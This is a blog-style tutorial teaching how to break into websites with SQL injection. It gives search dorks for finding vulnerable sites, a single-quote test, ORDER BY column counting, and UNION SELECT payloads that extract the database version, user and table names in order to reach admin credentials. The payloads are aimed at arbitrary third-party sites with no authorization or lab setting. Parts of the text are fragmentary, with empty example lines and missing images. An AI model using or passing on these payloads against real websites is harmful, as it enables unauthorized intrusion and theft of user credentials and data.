How To Hack A Website With SQL Injection 2016
How To Hack A Website With SQL Injection 2016
SQL Injection, SQLi, SQL Injection tutorial, how to hack a website, full guide to hack website
by sql injection, steps to hack website, step by step guide to hack website easily 2016.
After a long time it's my first tutorial on website hacking using SQL Injection attack with easy and
simple steps. I have seen many guys they can't understand SQL Injection method because it's
really very hard to understand and Inject Malicious code into URL and get website Database, So
here I created SQL Injection tutorial with easy steps and understandable, Hope you all will like it.
Using SQL Injection attack method an attacker can get complete DB of website and User ID and
Password can be exploded, an attacker can also Shut down My SQL Server and Server will stop
working. An attacker can modify content of website and bypass login.
Requirements :-
inurl:index.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:pageid=
Here, for tutorial I already have one Vulnerable website (But I can't expose it's name) In this result
you will find thousands of websites, the common thing in this search result is all website URL having
this type of code at it's end inurl:index.php?id=
Yeah, Definitely it will have because this all website having DB and SQL Injection String and related
to SQL Injection Dorks.
Note :- To Check the Vulnerability put sigle Quote ( ' ) at the end of the website URL and Hit Enter.
For Eg. www.targetwebsite.com/index.php?id=2'
3) If the page remains same or Not found then it's not vulnerable and if the page shows Error like
this :-
An error occurred...
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right syntax to use near ''/contentPage.php?id=8''' at line 1
An error occurred...
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right syntax to use near ''' at line 1
This means the website is vulnerable to SQL Injection.
Step 2. Find the number of Columns.
So we found SQL Injection Vulnerable webstie now it's time to find no. of Columns present in the
Database.
To do that replace that one single quote ( ' ) with "Order By no." Statement until you find the Error
message.
Change the no. from 1,2,3,4,5,6,7,8,9,..... Until you get an Error Message like "Unknown Column"
For Example :- Change it's Order By 1,2,3,4 like below :-
www.targetwebsite.com/index.php?id=8 Order by 1
www.targetwebsite.com/index.php?id=8 Order by 2
www.targetwebsite.com/index.php?id=8 Order by 3
www.targetwebsite.com/index.php?id=8 Order by 4
www.targetwebsite.com/index.php?id=8 Order by 5
And Suppose above Method won't work then use below method :-
If you get an Error on Order by 9 that means the DB have 8 number of Columns and If u had found
error on Order by 6 then the DB have 5 number of Columns. I mean if you put Order by 12 and
Suppose the DB have only 11 no. of Columns then Website will show Error like this :-
An error occurred...
Unknown column '12' in 'order clause'
This trick is actually used to find the number of Columns in DB. Understand the Below example and
you will get to know.
Here, my Vulnerable website Showed Error on Order by 12 that means my Vulnerable website have
11 number of columns in it's DB.
Well we have successfully discovered number of columns present in Database. let us find
Vulnerable Column by using the Query "Union Select columns_sequence".
And also change the ID Value to Negative, I mean Suppose the website have this URL
index.php?id=8 Change it to index.php?id=-8. Just put minus sign "-" before ID.
And Suppose above Method won't work then use below method:-
For Eg. :-
Now again do the same replace Vulnerable column with different query like :- database(), user()For
Eg.
www.targetwebsite.com/index.php?id=-8 union select 1,version(),3,4,5,6,7,8,9,10,11--
www.targetwebsite.com/index.php?id=-8 union select 1,database(),3,4,5,6,7,8,9,10,11--
www.targetwebsite.com/index.php?id=-8 union select 1,user(),3,4,5,6,7,8,9,10,11--
And Suppose above Method won't work then use below method :-
Let us find now Table name of the Database, Same here Replace Vulnerable Column number with
"group_concat(table_name) and add the "from information_schema.tables where
table_schema=database()"
For Eg. :-
Great we found Table name now find the table name that is related to admin or user. as you can
see in the above image there is one table name :- userDatabase. Let us choose that table
userdatabase and Go on Next step.
Note :- Do not hit Enter now.... First of all Convert table name into Mysql Char String()
After Installing you can see the toolbar, and if you can't then Hit F9.Select sql->Mysql->MysqlChar()
in the Hackbar.
Enter the Table name you want to convert it into Mysql Char
Copy and paste the code at the end of the url instead of the "mysqlchar".
For Eg. :-
For Eg. :-